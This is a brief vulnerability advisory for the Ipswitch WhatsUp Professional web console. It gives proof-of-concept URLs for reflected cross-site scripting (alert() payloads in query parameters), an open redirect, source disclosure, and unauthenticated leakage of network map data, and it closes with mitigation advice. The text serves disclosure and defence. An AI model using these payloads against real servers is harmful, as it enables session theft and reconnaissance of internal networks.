Ipswitch WhatsUp Professional multiple flaws

[David Maciejak]

WhatsUp is a tool from Ipswitch to monitor application and network,
embedding a custom web server on port 8022.

Description:

This custom web server is prone to multiple flaws.

-as authenticated user:

*src disclosure
http://server:8022/NmConsole/Login.asp.

*there are many XSS flaws, as
http://server:8022/NmConsole/Navigation.asp?sDeviceView=3D<SCRIPT>alert("me=
");</SCRIPT>&nDeviceID=3D<SCRIPT>alert("me");</SCRIPT>
http://server:8022/NmConsole/ToolResults.asp?bIsIE=3Dtrue&nToolType=3D0&sHo=
stname=3D%3cscript%3ealert('me')%3c/script%3e&nTimeout=3D2000&nCount=3D1&nS=
ize=3D32&btnPing=3DPing

*redirection
http://server:8022/NmConsole/DeviceSelection.asp?sRedirectUrl=3DReports/Dev=
icePassiveMonitorSyslog.asp&sCancelURL=3Dhttp://www.google.fr

-not being authenticated:

*src disclosure
http://server:8022/NmConsole/Login.asp.

*network nodes information disclosure (name, internal addr, service)
http://server:8022/NmConsole/utility/RenderMap.asp?nDeviceGroupID=3D0



The weaknesses have been confirmed in version 2006, source disclosure
in version 2005 and 2005 SP1 too.
Other versions may also be affected.

No response from vendor.

Solution:
-Filtered TCP port 8022, ask a patch from vendor if you are a registered us=
er
-Keep an eye on an opensource project: http://gnms.rubyforge.org


David Maciejak